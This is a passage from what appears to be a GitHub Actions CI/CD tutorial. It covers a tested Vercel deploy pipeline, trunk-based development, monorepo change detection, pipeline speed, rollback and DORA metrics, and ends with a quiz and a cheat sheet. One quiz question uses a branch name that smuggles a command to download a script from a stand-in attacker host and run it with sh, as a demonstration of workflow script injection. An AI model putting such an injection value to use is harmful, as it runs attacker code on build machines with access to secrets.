VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: 22
cache: npm
- run: npm ci
- run: npm install --global vercel@65.8.0
- env:
VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
run: |
vercel pull --yes --environment=preview --token="$VERCEL_TOKEN"
vercel build --token="$VERCEL_TOKEN"
url=$(vercel deploy --prebuilt --token="$VERCEL_TOKEN") # no --prod: a preview URL
echo "### Preview: $url" >> "$GITHUB_STEP_SUMMARY"needs: smoke makes the preview wait for all three gates from §04, and the preview environment holds its own copy of the Vercel token. github.event.pull_request.head.repo.full_name is the repository the PR's branch lives in; comparing it to github.repository skips PRs from forks, which have no secrets and would only fail. $GITHUB_STEP_SUMMARY is a file whose Markdown is shown on the run's summary page, so the link is one click away. Platforms like Vercel and Netlify can also do preview deploys on their own through their Git integration; this site turned that off so every deploy goes through the gates.
This site's deploy, rebuilt: build → smoke → deploy
§05 said: build once, test that, ship that. Today's deploy.yml builds once (vercel build, then vercel deploy --prebuilt uploads exactly those files) but never tests what it built. Here is a version that does, split into three jobs that hand one artifact down the line:
name: Deploy to Vercel
on:
push:
branches: [main]
workflow_dispatch:
permissions:
contents: read
concurrency:
group: vercel-production
cancel-in-progress: false # let a running deploy finish; the newest push waits its turn
env:
VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
jobs:
build:
runs-on: ubuntu-latest
timeout-minutes: 15
environment: vercel-build # holds a copy of VERCEL_TOKEN; main branch only, no reviewers
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: 22
cache: npm
- run: npm ci
- run: npm run check
- run: npm install --global vercel@65.8.0 # pinned: the same CLI on every run
- name: Build once
env:
VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }} # only this step sees the token
run: |
vercel pull --yes --environment=production --token="$VERCEL_TOKEN"
vercel build --prod --token="$VERCEL_TOKEN" # writes .vercel/output
- uses: actions/upload-artifact@v7
with:
name: vercel-output
path: .vercel/output
retention-days: 7
smoke:
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: 22
cache: npm
- run: npm ci
- uses: actions/download-artifact@v8
with:
name: vercel-output
path: .vercel/output
- run: |
npx vite preview --outDir .vercel/output/static --port 4173 --strictPort &
timeout 30 bash -c 'until curl -sf http://127.0.0.1:4173/ > /dev/null; do sleep 1; done'
npm run smoke -- / http://127.0.0.1:4173
deploy:
needs: smoke
runs-on: ubuntu-latest
timeout-minutes: 10
environment:
name: production
url: ${{ steps.deploy.outputs.url }}
steps:
- uses: actions/download-artifact@v8
with:
name: vercel-output
path: .vercel/output
- run: npm install --global vercel@65.8.0
- id: deploy
env:
VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
run: |
url=$(vercel deploy --prebuilt --prod --token="$VERCEL_TOKEN") # ships the tested files
echo "url=$url" >> "$GITHUB_OUTPUT"
echo "### Deployed: $url" >> "$GITHUB_STEP_SUMMARY"What changed, and why:
- Three jobs, one artifact.
vercel buildwrites the finished site to.vercel/output(static files understatic/). Thesmokejob serves that folder and runs the browser smoke test against it; thedeployjob uploads that folder. Nothing is rebuilt after it was tested. environment: productionwith aurl:shows the deployed link on the run page and in the repo's Deployments list. Add a required reviewer to that environment and this becomes continuous delivery, with no YAML change.- The Vercel token lives on two environments (
vercel-buildandproduction) and reaches only two steps throughenv:. The CLI version is pinned, the actions are current majors, andGITHUB_TOKENis read-only (§07). The org and project IDs stay repository secrets: they say where to deploy but grant no access on their own. cancel-in-progress: false: discussed in §12.
It drops the original's "skip if secrets are missing" step to stay short; a fork would see the build job fail at vercel pull instead of a friendly warning. (This file passes actionlint. It was not run against Vercel, since the test machine has no Vercel credentials; the flags were checked against vercel --help for CLI 65.8.0.)
Trunk-based development
main (the "trunk") at least once a day, so the pipeline tests the real combined code all the time instead of once, painfully, at the end.Long-lived branches hide problems
Imagine two developers each working on a big feature for three weeks on their own branches. Their pipelines are green the whole time, because each pipeline tests one branch alone. Then both merge in the same week, and nothing fits: the same files were changed in different ways (a Merge conflict), a function one of them renamed is still called by the other, and the "merge" turns into days of untangling. CI ran every day and still didn't catch any of it, because the code it was testing never existed in production.
In the trunk-based picture each merge is small: a few hours of work, a diff a reviewer can read in ten minutes, a conflict (if there is one) about ten lines. And because main is always close to what every developer has, the pipeline is testing the code that will actually ship.
"But my feature takes three weeks"
Then merge it in pieces that are switched off. A Feature flag is a runtime on/off check around the new code:
if flags.Enabled("new-checkout", user) { // ← off in production until you flip it
return newCheckout(w, r)
}
return oldCheckout(w, r)The unfinished code is merged, built and tested by the pipeline every day, but users don't see it until the flag is turned on. That separates deploying code (it's on the servers) from releasing a feature (users get it). Flags have their own costs, such as old flags piling up; Deployment Strategies covers them. Other ways to merge unfinished work: build the new part behind an unused route, or add the new code path next to the old one and switch over in a final small PR.
Keeping main green
If everyone merges into main all day, a broken main blocks everyone. Three habits:
- Gates on every PR, required to merge (§04). Most breakage never reaches
main. - If
mainbreaks, revert first, debug second.git revert <sha>undoes the bad commit with a new commit,maingoes green in minutes, and the author fixes the problem on a branch without the whole team waiting. - A Merge queue for busy repos. Two PRs can each pass on their own and still break
maintogether: PR A renames a function, PR B (tested before A merged) adds a new call to the old name. A merge queue tests each PR on top ofmainplus the PRs queued ahead of it, and only merges if that combination passes.
Turning the queue on is a branch-protection setting; the workflow just needs to run for queue checks too:
on:
pull_request:
merge_group: # ← run the gates on the queue's temporary "main + PRs ahead" branchMonorepos: path filters and matrices
Path filters
The simplest tool is a Path filter on the trigger:
on:
pull_request:
paths:
- "services/billing/**"
- "libs/money/**" # billing imports this shared library
- ".github/workflows/billing.yml" # changing the pipeline should test it tooRemember to list what the code depends on, not just its own folder. If libs/money/ is missing above, a bug in the shared library merges without billing's tests ever running.
The trap: a skipped workflow never reports
Say you make the billing job a required check (§04). Now someone opens a docs-only PR. The path filter means the billing workflow never starts, so it never reports pass or fail, and GitHub shows the required check as "Expected — Waiting for status to be reported" forever. The PR can't be merged.
The fix is to filter inside the workflow instead: always start it, decide which jobs to run, and make one final job the required check.
name: CI
on:
pull_request:
jobs:
changes:
runs-on: ubuntu-latest
outputs:
billing: ${{ steps.diff.outputs.billing }}
web: ${{ steps.diff.outputs.web }}
steps:
- uses: actions/checkout@v7
with:
fetch-depth: 0 # full history, so we can diff against main
- id: diff
env:
BASE: origin/${{ github.base_ref }}
run: |
files=$(git diff --name-only "$BASE...HEAD")
echo "$files"
if grep -q '^services/billing/' <<< "$files"; then echo "billing=true"; else echo "billing=false"; fi >> "$GITHUB_OUTPUT"
if grep -q '^web/' <<< "$files"; then echo "web=true"; else echo "web=false"; fi >> "$GITHUB_OUTPUT"
billing:
needs: changes
if: needs.changes.outputs.billing == 'true'
runs-on: ubuntu-latest
steps:
- run: echo "testing billing"
web:
needs: changes
if: needs.changes.outputs.web == 'true'
runs-on: ubuntu-latest
steps:
- run: echo "testing web"
ci-ok: # ← the ONE required check
if: always() # run even when jobs above were skipped or failed
needs: [changes, billing, web]
runs-on: ubuntu-latest
steps:
- if: contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled')
run: exit 1
- run: echo "every job passed or was skipped on purpose"Run with act on a small test repository, a docs-only PR and then a PR touching billing:
# PR 1: changes docs/README.md
[CI/changes] | docs/README.md
[CI/changes] ⚙ ::set-output:: billing=false
[CI/changes] ⚙ ::set-output:: web=false
[CI/ci-ok ] | every job passed or was skipped on purpose
[CI/ci-ok ] 🏁 Job succeeded
# PR 2: also changes services/billing/a.txt
[CI/changes] | docs/README.md
[CI/changes] | services/billing/a.txt
[CI/changes] ⚙ ::set-output:: billing=true
[CI/billing] | testing billing
[CI/ci-ok ] | every job passed or was skipped on purpose
[CI/ci-ok ] 🏁 Job succeededThe docs PR ran two tiny jobs and got a green ci-ok; the billing PR also ran billing's tests.
The gate must also need the detector
The first version of this file had needs: [billing, web] on ci-ok, without changes. Then the changes job crashed during a test run (the container had no git). What happened: billing and web were skipped because a job they needed failed, ci-ok saw only "skipped" results, and reported success. A broken pipeline, green check.
A skipped job looks the same whether it was skipped on purpose or because something upstream broke. So the final gate has to need every job, including the one that decides what to skip. With changes added, the same crash made ci-ok fail, as it should.
Off-the-shelf actions such as dorny/paths-filter do the change detection for you with a nicer syntax; the structure (detect → conditional jobs → one always-running gate) stays the same. Large monorepos often go further with build tools that know the dependency graph (Bazel, Nx, Turborepo, Go's own package graph) and test only the packages affected by a change.
Matrix builds: one job, many variations
A Matrix runs copies of a job with different values. Testing a Go library on two Go versions and two operating systems:
jobs:
test:
strategy:
fail-fast: false # let the other copies finish if one fails
matrix:
go: ["1.26", "1.27"]
os: [ubuntu-latest, macos-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with:
go-version: ${{ matrix.go }}
- run: go test ./...That's 2 × 2 = 4 jobs, all started in parallel, each with its own result. ${{ matrix.go }} is that copy's value. In a monorepo you can also make the matrix list the services (service: [billing, search]) and use working-directory: services/${{ matrix.service }} on the steps. Watch the multiplication: 3 versions × 3 OSes × 4 services is 36 jobs per push, and macOS runners cost several times more per minute than Linux.
Making pipelines fast
Why speed is a correctness issue
A slow pipeline changes how people work. At 5 minutes, a developer waits for the result and fixes a failure while the change is fresh. At 40 minutes they start something else, batch several changes into one PR to "save a run", and stop believing a red build is about their change. Bigger batches, slower feedback, more breakage: the opposite of what CI is for. A common rule of thumb is to keep pull-request feedback under about 10 minutes.
Where the time goes
Every job pays a fixed entry fee before it does anything useful: wait for a free runner, boot it, check out the code, install tools and dependencies. In the act runs of ci.yml (§04, measured on this machine with a warm cache), each of the three jobs spent about 3 seconds on checkout, setup-node and npm ci before its real work: 0.3 s for npm run check, about 10 s for npm run build. On GitHub's real runners, booting and queueing add more, typically tens of seconds per job (a rough figure that varies with load and plan).
So splitting work into more jobs is a trade: more parallelism and clearer failures, but one more entry fee per job. Splitting a 0.3-second check into its own job is only worth it because it fails fast and gives a clear red mark.
Play with the levers. Numbers are illustrative, chosen to look like a medium-sized web app, not measured:
The levers
- Run independent jobs in parallel. Lint doesn't need the build; unit tests don't need lint. Only real dependencies belong in
needs:. This often gives the biggest single gain. - Cache dependencies (§06). It shrinks the entry fee of every job.
- Shard slow test suites across several machines: four machines each running a quarter of the E2E tests. It cuts wall time, not compute minutes. E2E Testing: Running in CI shows Playwright's
--shard. - Skip what didn't change (§10). The fastest job is the one that doesn't run.
- Cancel stale runs.
concurrencywithcancel-in-progressturned on for pull requests (as inci.yml) stops the run for commit 1 when commit 2 is pushed to the same PR. Nobody cares about commit 1's result any more. Keep it off formain, where every commit should get a verdict. - Set
timeout-minutes. A hung test otherwise holds a runner for the 6-hour default. - Fix flaky tests instead of retrying them. A retry doubles that job's time, and a flaky gate teaches people to click "re-run" without reading. See Flaky Tests.
Staff level: the pipeline is production
Reviewing this site's deploy.yml
Here's what a staff engineer would write on a PR that added today's deploy.yml, roughly in order of impact. Most of the fixes appeared earlier in this topic.
| # | Finding | Why it matters | Fix |
|---|---|---|---|
| 1 | Runs only on push to main | A broken PR is discovered after merge, and blocks everyone's next deploy | ci.yml on pull_request + required checks (§04) |
| 2 | The build is never tested | vercel build could produce a blank page and it would ship | build → smoke → deploy with one artifact (§08) |
| 3 | npm install --global vercel@latest | The deploy tool can change between two runs without any commit | Pin vercel@65.8.0, update on purpose (§05) |
| 4 | Secrets pasted into scripts with ${{ }} | Secret text ends up inside the script file; a habit that becomes injection with untrusted values | Pass via env: on the steps that need it (§07) |
| 5 | No permissions: block | The job's token gets whatever the repo default is | permissions: contents: read (§07) |
| 6 | Actions on @v5 tags | Behind current majors (v7), and tags can be moved | Update; consider SHA pins + Dependabot (§07) |
| 7 | No timeout-minutes | A hung step holds a runner for up to 6 hours | timeout-minutes: 15 |
| 8 | cancel-in-progress: true on a deploy | See below | false for deploys, true for PR checks |
None of these has caused an incident, and the file does the important things right (§03). That's normal: most pipelines are "works, with sharp edges", and the review is about the edges.
Cancelling a deploy halfway
cancel-in-progress: true kills the running job as soon as a newer run in the same Concurrency group starts. For PR checks that's perfect. For a deploy, it means a deploy can be stopped at any line.
For this site the risk is small: vercel deploy uploads files to a new deployment, and the domain only switches once that deployment is complete, so killing the job mid-upload leaves the old version serving. But many deploys are a sequence of steps: run a database migration, then roll out the app, then purge the CDN. Cancel between step one and step two and production has a new database schema with old code, and nobody is watching.
With cancel-in-progress: false, the group still allows only one deploy at a time, but a new run waits for the current one to finish. If several pushes land while it waits, only the newest waiting run is kept, so you don't deploy every intermediate commit either. That's why the proposed deploy.yml in §08 uses false.
Rollback = redeploying an old artifact
When a bad change reaches production, you have two ways back:
- Roll forward:
git revertthe commit, push, and let the whole pipeline run. Safe and recorded, but as slow as your pipeline: 15 minutes of broken production if the pipeline takes 15 minutes. - Roll back: point production at the previous artifact, which was already built and tested. Seconds to a minute.
Build-once (§05) is what makes the second option possible: the previous artifact still exists, by name. For this site, Vercel keeps every deployment, and vercel rollback <deployment-url> points the domain back at an older one. For a container service, you redeploy the previous image digest. Do both in practice: roll back to stop the damage, then revert or fix through the normal pipeline. And rehearse the rollback before you need it. A rollback command nobody has run is a guess.
Measuring delivery: the DORA metrics
How do you know the pipeline is helping? The DORA metrics are the standard four:
| Metric | Question | Pipeline levers |
|---|---|---|
| Deployment frequency | How often do we ship to production? | Small PRs, trunk-based development (§09), continuous deployment |
| Lead time for changes | How long from merge to running for users? | Pipeline speed (§11), no manual waits that don't add safety |
| Change failure rate | What share of deploys cause a problem? | Better gates (§04), build-once (§05), staged rollouts |
| Time to restore (MTTR) | How fast do we recover? | Fast rollback, good alerts (Observability) |
The research behind them found that speed and stability go together: teams that deploy most often also tend to have the lowest failure rates, because small changes are easy to test, review and undo. A pipeline that makes deploys rare and scary pushes all four numbers the wrong way.
Who owns the pipeline
- Workflow changes get the same review as code. A
CODEOWNERSfile can require a platform or security reviewer for anything under.github/workflows/. - Someone is on the hook for red
main. Usually the author of the breaking commit, with a team rule that a redmainbeats everything else on the board. - Pipeline health is monitored. Track duration, flake rate and queue time like any other service; a pipeline that gets 30 seconds slower every month is a year away from being the team's biggest productivity problem.
Check yourself
Predict the answer before you click. Q1–Q2 are from §04, Q3 from §02, Q4 from §06, Q5 from §07, Q6 from §10, Q7 from §05 and §12.
One of the tests fails. What happens to this step on a Linux runner?
- run: |
go test ./...
echo "tests done"Same failing test, no shell: set on the step. Result?
- run: go test ./... | tee test.logjobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- run: npm ci && npm run build # creates dist/
deploy:
needs: build
runs-on: ubuntu-latest
steps:
- run: ls distYour cache key is npm-${{ hashFiles('package-lock.json') }}. Yesterday's run saved an entry. Today you change only src/App.jsx and push. What does the cache step do?
Someone opens a PR from a branch named feat$(curl${IFS}-s${IFS}evil.example|sh). (Git accepts that name.) What happens?
- run: echo "Building ${{ github.head_ref }}"The billing workflow has on: pull_request: paths: ["services/billing/**"], and its job is a required check on main. A PR changes only README.md. What happens?
Staging was built from commit 3f9c2e1 at 10:00 and passed every test. At 15:00 the production job checks out the same commit and runs npm install && npm run build (no lockfile is committed). Is production guaranteed to get what was tested?
Cheat sheet
0 passes, anything else fails. Use shell: bash (pipefail) when you pipe output.pull_request and make them required checks, so broken code never reaches main.hashFiles('package-lock.json') in the key. A job must still be correct with an empty cache. Results go in artifacts, not caches.env:. permissions: contents: read by default. Pin third-party actions by SHA.environment:. Required reviewers = continuous delivery; none = continuous deployment. Put prod secrets on the environment.main is red, merge queue when busy.| I want to… | Use |
|---|---|
| Run on PRs and on main | on: with pull_request: and push: → branches: [main] (see the skeleton below) |
| Make job B wait for job A | needs: a on job B |
| Pass files between jobs | actions/upload-artifact@v7 → actions/download-artifact@v8 |
| Return a value from a step | echo "name=value" >> "$GITHUB_OUTPUT" → steps.<id>.outputs.name |
| Run a step only sometimes | if: steps.x.outputs.ok == 'true' / if: github.ref == 'refs/heads/main' |
| Use a secret safely | on the step: env: → TOKEN: ${{ secrets.TOKEN }}, then "$TOKEN" in the script |
| Require approval for prod | environment: production + required reviewers in repo settings |
| Cancel superseded PR runs | concurrency: → group: ci-${{ github.ref }} and cancel-in-progress: ${{ github.event_name == 'pull_request' }} (skeleton below) |
| Skip unaffected code in a monorepo | detect changes → if: on jobs → one if: always() gate that needs all of them |
| Try a workflow locally | act -W .github/workflows/ci.yml and actionlint |
name: CI
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: 22
cache: npm
- run: npm ci
- run: npm test
- run: npm run build - name: Deploy
env:
TOKEN: ${{ secrets.TOKEN }} # only this step sees it
run: ./deploy.sh --token="$TOKEN"